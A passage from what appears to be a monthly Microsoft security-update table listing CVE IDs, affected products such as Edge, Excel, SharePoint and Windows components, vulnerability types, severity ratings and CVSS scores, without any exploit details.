No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure 